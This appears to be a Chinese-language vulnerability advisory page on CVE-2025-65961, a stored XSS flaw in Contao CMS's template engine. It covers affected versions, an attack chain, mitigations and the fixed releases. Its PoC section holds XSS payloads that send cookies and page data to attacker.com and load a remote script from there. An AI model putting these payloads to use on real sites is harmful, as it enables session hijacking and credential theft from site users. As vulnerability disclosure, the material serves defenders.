CVE-2025-65961 CVSS 3.3 低危

CVE-2025-65961 Contao CMS 模板跨站脚本(XSS)漏洞

披露日期: 2025-11-25

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-65961

漏洞类型

跨站脚本(XSS)

CVSS评分

3.3 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Contao CMS

漏洞概述

CVE-2025-65961是Contao开源内容管理系统中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响Contao 4.0.0至4.13.56版本、5.0.0至5.3.41版本以及5.4.0至5.6.4版本。漏洞根源在于Contao的模板引擎未对用户输入进行充分的输出编码，导致恶意JavaScript代码可以被注入到模板输出中。当受害者在前端或后端访问包含恶意代码的页面时，注入的脚本将在其浏览器上下文中执行，从而窃取会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。由于该漏洞需要高权限用户才能触发（CVSS认证要求为PR:H），且攻击复杂度较高（AC:H），实际利用难度相对较大，但仍可能对多用户环境造成安全威胁。Contao官方已在4.13.57、5.3.42和5.6.5版本中修复此问题。

技术细节

该漏洞属于存储型XSS（Stored XSS），攻击者通过将恶意JavaScript代码注入到Contao的模板变量中。由于Contao的模板引擎在处理用户可控输入时缺少适当的HTML实体转义，当这些数据被渲染到页面模板时，恶意代码将作为合法HTML/JS执行。攻击者需要具备Contao后台管理权限才能修改模板或插入恶意内容。成功利用后，恶意脚本会在所有访问受影响页面的用户浏览器中执行，包括管理员和其他后台用户。攻击者可利用此漏洞窃取管理员会话令牌，进一步获取系统完全控制权。修复措施包括在模板输出前对所有变量进行HTML编码，以及实现严格的输入验证和内容安全策略(CSP)。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标Contao CMS版本，确认其处于受影响版本范围内（4.0.0-4.13.56、5.0.0-5.3.41、5.4.0-5.6.4）

STEP 2

步骤2: 获取高权限访问

攻击者通过钓鱼、弱密码或其他漏洞获取Contao后台管理员账户凭据

STEP 3

步骤3: 模板注入

登录后台管理界面，定位到模板管理功能，插入恶意JavaScript代码到模板变量中

STEP 4

步骤4: 触发XSS执行

当其他用户（管理员或普通用户）访问包含恶意模板的页面时，注入的脚本在其浏览器中自动执行

STEP 5

步骤5: 会话劫持

恶意脚本窃取用户Cookie或会话令牌，发送到攻击者控制的服务器

STEP 6

步骤6: 权限提升

攻击者利用窃取的会话冒充受害者进行进一步恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-65961 PoC - Contao CMS Template XSS -->
<!-- This PoC demonstrates XSS injection in Contao template output -->
<!-- Requires admin privileges to modify templates -->

<!-- Step 1: Inject malicious script via template modification -->
<script>alert(document.cookie)</script>

<!-- Step 2: Alternative payload - Cookie stealing -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

<!-- Step 3: Session hijacking payload -->
<script>
  fetch('https://attacker.com/log?data='+btoa(JSON.stringify({
    cookie: document.cookie,
    url: location.href,
    referrer: document.referrer
  })));
</script>

<!-- Step 4: Automated exploitation - DOM based -->
<script src="https://attacker.com/malicious.js"></script>

影响范围

Contao 4.0.0 - 4.13.56

Contao 5.0.0 - 5.3.41

Contao 5.4.0 - 5.6.4

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时缓解措施：1) 检查并移除所有使用受影响模板的页面；2) 限制后台模板编辑功能的访问权限，仅允许受信任的管理员操作；3) 实施严格的CSP策略阻止内联脚本执行；4) 监控后台日志，及时发现异常模板修改行为；5) 考虑使用Web应用防火墙(WAF)对XSS攻击进行检测和阻断。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表